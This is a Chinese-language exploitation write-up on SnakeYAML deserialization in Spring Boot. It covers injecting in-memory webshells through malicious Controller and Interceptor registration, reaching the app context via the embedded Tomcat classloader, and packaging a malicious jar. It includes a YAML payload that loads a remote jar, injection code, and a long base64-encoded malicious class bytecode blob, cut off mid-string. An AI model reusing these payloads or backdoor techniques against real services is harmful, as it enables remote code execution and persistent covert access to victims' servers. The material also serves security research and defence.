springboot snakeyaml利用浅析
字数 1088 2025-08-29 08:32:19
SnakeYAML漏洞利用与SpringBoot内存马注入技术分析
1. 前言
本文详细分析SnakeYAML漏洞在SpringBoot环境下的利用方式,特别是针对不出网环境下的内存马注入技术。文章将涵盖以下关键内容:
- SnakeYAML反序列化漏洞基础利用
- SpringBoot环境下内存马注入的难点分析
- 内嵌Tomcat ClassLoader的特殊利用方式
- 完整的内存马注入解决方案
2. SnakeYAML漏洞基础利用
2.1 漏洞原理
SnakeYAML是一个流行的YAML解析库,当反序列化不受信任的YAML内容时,可能导致远程代码执行。关键利用方式是通过!!javax.script.ScriptEngineManager触发恶意代码执行。
2.2 基本利用方式
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:9090/payload.jar"]
]]
]
2.3 利用条件
- 存在
/env等配置信息泄露端点 - 可修改
spring.cloud.bootstrap.location字段 - 能够上传任意文件到可访问目录
3. SpringBoot内存马注入技术
3.1 常见内存马类型
在Spring框架中,主要有两种内存马注入方式:
- 控制器(Controller)注入:注册新的路由绑定恶意方法
- 拦截器(Interceptor)注入:在拦截器链中插入恶意拦截器
3.2 控制器注入示例
@RestController
@EnableAutoConfiguration
public class ControllerInject {
@RequestMapping("/inject2")
public String inject() {
// 获取应用上下文
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 注册恶意路由
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
Method method = Evil.class.getMethods()[0];
PatternsRequestCondition url = new PatternsRequestCondition("/exec");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Evil(), method);
return "success";
}
}
3.3 拦截器注入示例
@RestController
@EnableAutoConfiguration
public class InterceptorInject {
@RequestMapping("/inject")
public String inject() throws Exception {
// 获取应用上下文
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取并修改拦截器链
RequestMappingHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
adaptedInterceptors.add(new Madao());
return "success";
}
}
4. 利用难点分析
4.1 线程上下文问题
通过SnakeYAML漏洞执行代码时,会创建新线程,导致无法直接获取Web应用的上下文:
// 在恶意jar中执行会报错
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
4.2 类加载器隔离问题
恶意jar由URLClassLoader加载,与主线程的类加载器不同,导致类转换异常:
// 会抛出ClassCastException
adaptedInterceptors.add(new Madao());
4.3 LiveBeansView不可用
传统通过反射获取LiveBeansView的方式在SpringBoot中不可行:
// 会返回null
Field filed = Class.forName("org.springframework.context.support.LiveBeansView")
.getDeclaredField("applicationContexts");
5. 内嵌Tomcat ClassLoader利用方案
5.1 利用链分析
通过分析线程上下文,发现可以从内嵌Tomcat的ClassLoader获取应用上下文:
- 获取当前线程的ClassLoader(TomcatEmbeddedWebappClassLoader)
- 获取Resources对象
- 获取StandardContext对象
- 获取ApplicationContext对象
- 从属性中获取WebApplicationContext
5.2 关键代码实现
// 获取内嵌Tomcat上下文
ClassLoader tomcatClassLoader = Thread.currentThread().getContextClassLoader();
Method getResources = tomcatClassLoader.getClass().getSuperclass().getSuperclass()
.getMethod("getResources");
Object resources = getResources.invoke(tomcatClassLoader);
Method getContext = resources.getClass().getMethod("getContext");
Object tomcatEmbeddedContext = getContext.invoke(resources);
// 获取ApplicationContext
Field contextField = tomcatEmbeddedContext.getClass().getSuperclass()
.getDeclaredField("context");
contextField.setAccessible(true);
Object applicationContext = contextField.get(tomcatEmbeddedContext);
// 获取WebApplicationContext
Method getAttribute = applicationContext.getClass().getMethod("getAttribute", String.class);
Object webApplicationContext = getAttribute.invoke(applicationContext,
"org.springframework.web.context.WebApplicationContext.ROOT");
5.3 解决类加载器隔离问题
使用主线程的ClassLoader加载恶意拦截器类:
// 获取主线程的类加载器
Method getParentCLassLoader = tomcatEmbeddedContext.getClass()
.getMethod("getParentClassLoader");
ClassLoader parentClassLoader = (ClassLoader) getParentCLassLoader.invoke(tomcatEmbeddedContext);
// 使用主ClassLoader定义类
Class<?> madaoClass = defineClass(parentClassLoader, "yv66vgAAADQAlQo...");
adaptedInterceptors.add(madaoClass.newInstance());
6. 完整利用流程
6.1 恶意jar包结构
artsploit/
AwesomeScriptEngineFactory.class
Evil.class
Madao.class
META-INF/
services/
javax.script.ScriptEngineFactory
6.2 AwesomeScriptEngineFactory核心代码
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
// 定义并实例化Evil类
Class evilClass = defineClass(this.getClass().getClassLoader(),
"yv66vgAAADQAzAoACQBnCgBoAGkKAGgAagoACQBrCgAHAGwIADsHAG0KAAcAbgcAbwoAcABxCAA+CAByCgAHAHMKAHQAdQoAdAB2CABDBwB3CAB4CABHCABICAB5CABLCQB6AHsIAHwKAH0AfgcAfwoAGgCACwCBAIILAIEAgwoABwCECACFCgARAIYIAIcHAIgIAIkKAC8AigoABwCLCgAaAIwIAF4HAGQJAI0AjgoABwCPCgBwAHUKAJAAkQoAkgCTCgCNAJQHAJUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABaQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABHRoaXMBABBMYXJ0c3Bsb2l0L0V2aWw7AQARdG9tY2F0Q2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADGdldFJlc291cmNlcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAJcmVzb3VyY2VzAQAKZ2V0Q29udGV4dAEAFXRvbWNhdEVtYmVkZGVkQ29udGV4dAEADGNvbnRleHRGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABJhcHBsaWNhdGlvbkNvbnRleHQBAAxnZXRBdHRyaWJ1dGUBABV3ZWJBcHBsaWNhdGlvbkNvbnRleHQBABphYnN0cmFjdEFwcGxpY2F0aW9uQ29udGV4dAEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAHZ2V0QmVhbgEAFmdldEJlYW5EZWZpbml0aW9uTmFtZXMBABZhYnN0cmFjdEhhbmRsZXJNYXBwaW5nAQAFZmllbGQBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAUZ2V0UGFyZW50Q0xhc3NMb2FkZXIBABFwYXJlbnRDbGFzc0xvYWRlcgEACm1hZGFvQ2xhc3MBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBAClMamF2YS91dGlsL0FycmF5TGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEADVN0YWNrTWFwVGFibGUHAJUHAIgHAJYHAG8HAJcHAG0HAH8HAJgBAApFeGNlcHRpb25zBwCZAQALZGVmaW5lQ2xhc3MBADwoTGphdmEvbGFuZy9DbGFzc0xvYWRlcjtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtjbGFzc0xvYWRlcgEACWNsYXNzQnl0ZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACWV2YWxCeXRlcwEAAltCAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAMAAxBwCaDACbAJwMAJ0AngwAnwCgDAChAKABAA9qYXZhL2xhbmcvQ2xhc3MMAKIAowEAEGphdmEvbGFuZy9PYmplY3QHAJYMAKQApQEAB2NvbnRleHQMAKYApwcAlwwAqACpDACqAKsBABBqYXZhL2xhbmcvU3RyaW5nAQA6b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5XZWJBcHBsaWNhdGlvbkNvbnRleHQuUk9PVAEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcHAKwMAK0ArgEAAzFvawcArwwAsACxAQATamF2YS91dGlsL0FycmF5TGlzdAwAsgCzBwCYDAC0ALUMALYAtwwAuAC5AQAFTWFkYW8MALoAuwEAFGdldFBhcmVudENsYXNzTG9hZGVyAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQzEeXY2NnZnQUFBRFFBbFFvQUlnQklDQUJKQ3dCS0FFc0lBRXdLQUUwQVRnb0FDZ0JQQ0FCUUNnQUtBRkVLQUZJQVV3Y0FWQWdBVlFnQVZnb0FVZ0JYQ0FCWUNBQlpCd0JhQndCYkNnQmNBRjBLQUJFQVhnb0FFQUJmQndCZ0NnQVZBRWdLQUJBQVlRb0FGUUJpQ2dBVkFHTUtBQlVBWkFzQVpRQm1DZ0FLQUdjS0FHZ0FhUW9BYUFCcUNnQm9BR3NMQUdVQWJBY0FiUWNBYmdFQUJqeHBibWwwUGdFQUF5Z3BWZ0VBQkVOdlpHVUJBQTlNYVc1bFRuVnRZbVZ5VkdGaWJHVUJBQkpNYjJOaGJGWmhjbWxoWW14bFZHRmliR1VCQUFSMGFHbHpBUUFSVEdGeWRITndiRzlwZEM5TllXUmhienNCQUFsd2NtVklZVzVrYkdVQkFHUW9UR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGNYVmxjM1E3VEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjM0J2Ym5ObE8weHFZWFpoTDJ4aGJtY3ZUMkpxWldOME95bGFBUUFIY0hKdlkyVnpjd0VBRTB4cVlYWmhMMnhoYm1jdlVISnZZMlZ6Y3pzQkFBNWlkV1ptWlhKbFpGSmxZV1JsY2dFQUdFeHFZWFpoTDJsdkwwSjFabVpsY21Wa1VtVmhaR1Z5T3dFQURYTjBjbWx1WjBKMWFXeGtaWElCQUJsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WjBKMWFXeGtaWEk3QVFBRWJHbHVaUUVBRWt4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3dFQUEyTnRaQUVBQjNKbGNYVmxjM1FCQUNkTWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ4ZFdWemREc0JBQWh5WlhOd2IyNXpaUUVBS0V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWE53YjI1elpUc0JBQWRvWVc1a2JHVnlBUUFTVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBTlUzUmhZMnROWVhCVVlXSnNaUWNBVkFjQWJ3Y0FXZ2NBWUFjQWJRY0FjQWNBY1FjQWNnRUFDa1Y0WTJWd2RHbHZibk1IQUhNQkFBcFRiM1Z5WTJWR2FXeGxBUUFLVFdGa1lXOHVhbUYyWVF3QUl3QWtBUUFHY0dGemMyVnlCd0J3REFCMEFIVUJBQWR2Y3k1dVlXMWxCd0IyREFCM0FIVU1BSGdBZVFFQUEzZHBiZ3dBZWdCN0J3QjhEQUI5QUg0QkFCQnFZWFpoTDJ4aGJtY3ZVM1J5YVc1bkFRQUhZMjFrTG1WNFpRRUFBaTlqREFCL0FJQUJBQVJpWVhOb0FRQUNMV01CQUJacVlYWmhMMmx2TDBKMVptWmxjbVZrVW1WaFpHVnlBUUFaYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlZKbFlXUmxjZ2NBYnd3QWdRQ0NEQUFqQUlNTUFDTUFoQUVBRjJwaGRtRXZiR0Z1Wnk5VGRISnBibWRDZFdsc1pHVnlEQUNGQUhrTUFJWUFod3dBaGdDSURBQ0pBSGtIQUhFTUFJb0Fpd3dBakFDTkJ3Q09EQUNQQUpBTUFKRUFKQXdBa2dBa0RBQ1RBSlFCQUE5aGNuUnpjR3h2YVhRdlRXRmtZVzhCQUVGdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMmhoYm1Sc1pYSXZTR0Z1Wkd4bGNrbHVkR1Z5WTJWd2RHOXlRV1JoY0hSbGNnRUFFV3BoZG1FdmJHRnVaeTlRY205alpYTnpBUUFsYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZEFFQUptcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxBUUFRYW1GMllTOXNZVzVuTDA5aWFtVmpkQUVBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFBeG5aWFJRWVhKaGJXVjBaWElCQUNZb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFFR3BoZG1FdmJHRnVaeTlUZVhOMFpXMEJBQXRuWlhSUWNtOXdaWEowZVFFQUMzUnZURzkzWlhKRFlYTmxBUUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaGpiMjUwWVdsdWN3RUFHeWhNYW1GMllTOXNZVzVuTDBOb1lYSlRaWEYxWlc1alpUc3BXZ0VBRVdwaGRtRXZiR0Z1Wnk5U2RXNTBhVzFsQVFBS1oyVjBVblZ1ZEdsdFpRRUFGU2dwVEdwaGRtRXZiR0Z1Wnk5U2RXNTBhVzFsT3dFQUJHVjRaV01CQUNnb1cweHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTTdBUUFPWjJWMFNXNXdkWFJUZEhKbFlXMEJBQmNvS1V4cVlYWmhMMmx2TDBsdWNIVjBVM1J5WldGdE93RUFHQ2hNYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlRzcFZnRUFFeWhNYW1GMllTOXBieTlTWldGa1pYSTdLVllCQUFoeVpXRmtUR2x1WlFFQUJtRndjR1Z1WkFFQUxTaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtZENkV2xzWkdWeU93RUFIQ2hES1V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuUW5WcGJHUmxjanNCQUFoMGIxTjBjbWx1WndFQUQyZGxkRTkxZEhCMWRGTjBjbVZoYlFFQUpTZ3BUR3BoZG1GNEwzTmxjblpzWlhRdlUyVnlkbXhsZEU5MWRIQjFkRk4wY21WaGJUc0JBQWhuWlhSQ2VYUmxjd0VBQkNncFcwSUJBQ0ZxWVhaaGVDOXpaWEoyYkdWMEwxTmxjblpzWlhSUGRYUndkWFJUZEhKbFlXMEJBQVYzY21sMFpRRUFCU2hiUWlsV0FRQUZabXgxYzJnQkFBVmpiRzl6WlFFQUNYTmxibVJGY25KdmNnRUFCQ2hKS1ZZQUlRQWhBQ0lBQUFBQUFBSUFBUUFqQUNRQUFRQWxBQUFBTHdBQkFBRUFBQUFGS3JjQUFiRUFBQUFDQUNZQUFBQUdBQUVBQUFBS0FDY0FBQUFNQUFFQUFBQUZBQ2dBS1FBQUFBRUFLZ0FyQUFJQUpRQUFBZDBBQlFBSkFBQUEzQ3NTQXJrQUF3SUF4Z0RTS3hJQ3VRQURBZ0E2QkJrRXhnQzRFZ1M0QUFXMkFBWVNCN1lBQ0prQUliZ0FDUWE5QUFwWkF4SUxVMWtFRWd4VFdRVVpCRk8yQUEwNkJhY0FIcmdBQ1FhOUFBcFpBeElPVTFrRUVnOVRXUVVaQkZPMkFBMDZCYnNBRUZtN0FCRlpHUVcyQUJLM0FCTzNBQlE2QnJzQUZWbTNBQlk2QnhrR3RnQVhXVG9JeGdBZ0dRZTdBQlZadHdBV0dRaTJBQmdRQ3JZQUdiWUFHcllBR0Zlbi85c3N1UUFiQVFBWkI3WUFHcllBSExZQUhTeTVBQnNCQUxZQUhpeTVBQnNCQUxZQUg2Y0FEQ3dSQVpTNUFDQUNBQU9zQkt3QUFBQURBQ1lBQUFCR0FCRUFBQUFNQUFzQURRQVZBQTRBR2dBUUFDb0FFUUJJQUJNQVl3QVdBSGdBRndDQkFCb0FqQUFiQUtrQUhnQzZBQjhBd3dBZ0FNd0FJUURQQUNJQTJBQWtBTm9BSmdBbkFBQUFaZ0FLQUVVQUF3QXNBQzBBQlFCakFHa0FMQUF0QUFVQWVBQlVBQzRBTHdBR0FJRUFTd0F3QURFQUJ3Q0pBRU1BTWdBekFBZ0FGUURGQURRQU13QUVBQUFBM0FBb0FDa0FBQUFBQU53QU5RQTJBQUVBQUFEY0FEY0FPQUFDQUFBQTNBQTVBRG9BQXdBN0FBQUFOd0FIL0FCSUJ3QTgvQUFhQndBOS9RQWRCd0ErQndBLy9BQW5Cd0E4L3dBbEFBVUhBRUFIQUVFSEFFSUhBRU1IQUR3QUFBajZBQUVBUkFBQUFBUUFBUUJGQUFFQVJnQUFBQUlBUnc9PQwAXgBfDAC8ALcMAL0AvgcAvwwAwABGDADBAKMHAMIMAMMAxgcAxwwAyADJDADKAMsBAA5hcnRzcGxvaXQvRXZpbAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQASamF2YS91dGlsL0l0ZXJhdG9yAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQANZ2V0U3VwZXJjbGFzcwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0Oyl